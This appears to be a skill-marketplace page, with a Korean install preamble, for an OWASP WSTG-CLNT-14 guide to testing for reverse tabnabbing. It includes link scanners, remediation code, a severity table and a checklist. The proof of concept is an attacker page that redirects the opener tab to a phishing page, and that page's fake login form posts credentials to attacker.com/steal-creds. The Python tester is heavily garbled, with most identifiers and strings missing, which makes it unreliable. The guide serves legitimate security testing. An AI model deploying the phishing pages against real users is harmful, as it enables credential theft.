Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-clnt-14명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
SOC 직업 분류 기준
SKILL.md 표시 중
| name | wstg-clnt-14 |
| description | Testing for Reverse Tabnabbing |
| category | client-side |
| owasp_id | WSTG-CLNT-14 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["client-side","javascript","dom","cors","wstg","clnt"] |
| tech_stack | [] |
| cwe_ids | [] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-CLNT-14
Testing for Reverse Tabnabbing
Reverse Tabnabbing is a phishing attack where a malicious page opened via target="_blank" can modify the opener page's location through window.opener. This can redirect users to a phishing page while they believe they're still on the original site.
#!/bin/bash
TARGET="https://target.com"
# Find links with target="_blank"
echo "[*] Finding target=_blank links..."
curl -s "$TARGET" | grep -oP '<a[^>]*target=["\']_blank["\'][^>]*>' | while read -r link; do
echo "Link: $link"
if ! echo "$link" | grep -qi 'rel="[^"]*noopener'; then
echo " [!] Missing noopener"
fi
if ! echo "$link" | grep -qi 'rel="[^"]*noreferrer'; then
echo " [!] Missing noreferrer"
fi
done
#!/usr/bin/env python3
"""
Reverse Tabnabbing Vulnerability Tester
"""
import requests
import re
from bs4 import BeautifulSoup
urllib.parse urljoin
:
():
.url = url
.findings = []
():
()
response = requests.get(.url)
response.text
():
()
soup = BeautifulSoup(html, )
blank_links = soup.find_all(, target=)
link blank_links:
href = link.get(, )
rel = link.get(, [])
(rel, ):
rel = rel.split()
has_noopener = rel
has_noreferrer = rel
has_noopener:
()
.findings.append({
: ,
: href,
: ,
: (link)[:]
})
has_noreferrer:
()
():
()
window_open_pattern =
matches = re.findall(window_open_pattern, html)
matches:
.lower():
()
.findings.append({
: ,
: ,
:
})
():
()
patterns = [
(,
),
(,
),
(,
),
]
pattern, description patterns:
re.search(pattern, html, re.IGNORECASE):
()
():
poc =
poc
():
test_page =
test_page
():
html = .fetch_page()
.analyze_links(html)
.analyze_javascript(html)
.analyze_dynamic_links(html)
.generate_report()
():
( + *)
()
(*)
.findings:
()
()
:
()
f .findings:
()
f:
()
f:
()
()
()
(.generate_poc(.url))
tester = TabnabbingTester()
tester.run_tests()
// Check page for vulnerable links
;(function () {
const links = document.querySelectorAll('a[target="_blank"]')
let vulnerable = []
let safe = []
links.forEach((link) => {
const rel = link.getAttribute("rel") || ""
const href = link.getAttribute("href") || ""
if (!rel.includes("noopener")) {
vulnerable.push({
href: href,
rel: rel,
text: link.textContent.substring(0, 50),
})
} else {
safe.push(href)
}
})
console.log("=== Reverse Tabnabbing Analysis ===")
console.log(`Total target="_blank" links: ${links.length}`)
console.log(`Vulnerable: ${vulnerable.length}`)
console.log(`Safe: ${safe.length}`)
if (vulnerable.length > 0) {
console.log("\nVulnerable links:")
vulnerable.forEach((v) => {
console.log(` - ${v.href}`)
console.log(` rel="${v.rel}"`)
})
}
// Check window.open in inline scripts
const scripts = document.querySelectorAll("script:not([src])")
scripts.forEach((script) => {
if (script.textContent.includes("window.open") && !script.textContent.includes("noopener")) {
console.log("\n[!] Potentially vulnerable window.open found")
}
})
})()
<!-- attacker.html - Hosted on attacker's site -->
<!DOCTYPE html>
<html>
<head>
<title>News Article</title>
</head>
<body>
<h1>Interesting Content</h1>
<p>This is a legitimate-looking page...</p>
<script>
// Attack: Redirect opener to phishing page
if (window.opener) {
// Method 1: Direct location change
window.opener.location = "https://attacker.com/phishing.html"
// Method 2: Gradual replacement (stealthier)
// setTimeout(function() {
// window.opener.location = 'https://attacker.com/session-expired.html';
// }, 5000);
}
</script>
</body>
</html>
<!-- phishing.html - Fake login page -->
<!DOCTYPE html>
<html>
<head>
<title>Session Expired - Please Login</title>
<!-- Copy target site's styles -->
</head>
<body>
<h1>Your session has expired</h1>
<form action="https://attacker.com/steal-creds" method="POST">
<input type="text" name="username" placeholder="Username" />
<input type="password" name="password" placeholder="Password" />
<button type="submit">Login</button>
</form>
</body>
</html>
| Tool | Purpose |
|---|---|
| Browser DevTools | Inspect link attributes |
| Burp Suite | Analyze page content |
| Custom Scripts | Automated scanning |
| HTML Validators | Check rel attributes |
<!-- SECURE: Always use rel="noopener noreferrer" -->
<a href="https://external.com" target="_blank" rel="noopener noreferrer"> External Link </a>
<!-- For internal links, noopener alone is sufficient -->
<a href="/internal-page" target="_blank" rel="noopener"> Internal Link </a>
// SECURE: window.open with noopener
function openSecure(url) {
// Method 1: Use noopener in features string
window.open(url, "_blank", "noopener,noreferrer")
}
// Method 2: Null out opener after opening
function openSecureAlt(url) {
const newWindow = window.open(url, "_blank")
if (newWindow) {
newWindow.opener = null
}
}
// SECURE: Dynamic link creation
function createSecureLink(url, text) {
const link = document.createElement("a")
link.href = url
link.target = "_blank"
link.rel = "noopener noreferrer"
link.textContent = text
return link
}
# Server-side: Content Security Policy
@app.after_request
def add_security_headers(response):
# Referrer-Policy helps prevent information leakage
response.headers['Referrer-Policy'] = 'strict-origin-when-cross-origin'
return response
// Automatic protection via JavaScript (defense in depth)
document.addEventListener("DOMContentLoaded", function () {
// Add noopener to all existing _blank links
document.querySelectorAll('a[target="_blank"]').forEach((link) => {
const rel = link.getAttribute("rel") || ""
if (!rel.includes("noopener")) {
link.setAttribute("rel", (rel + " noopener noreferrer").trim())
}
})
// Observer for dynamically added links
const observer = new MutationObserver((mutations) => {
mutations.forEach((mutation) => {
mutation.addedNodes.forEach((node) => {
if (node.nodeType === 1) {
const links = node.querySelectorAll ? node.querySelectorAll('a[target="_blank"]') : []
links.forEach((link) => {
const rel = link.getAttribute("rel") || ""
if (!rel.includes("noopener")) {
link.setAttribute("rel", (rel + " noopener noreferrer").trim())
}
})
}
})
})
})
observer.observe(document.body, { childList: true, subtree: true })
})
| Finding | CVSS | Severity |
|---|---|---|
| External links without noopener | 4.3 | Medium |
| User-generated links without noopener | 5.4 | Medium |
| window.open without noopener | 4.3 | Medium |
| CWE ID | Title |
|---|---|
| CWE-1022 | Use of Web Link to Untrusted Target with window.opener Access |
[ ] target="_blank" links identified
[ ] rel="noopener" presence checked
[ ] rel="noreferrer" presence checked
[ ] window.open() calls analyzed
[ ] Dynamic link creation reviewed
[ ] User-generated content links checked
[ ] PoC created for vulnerable links
[ ] Findings documented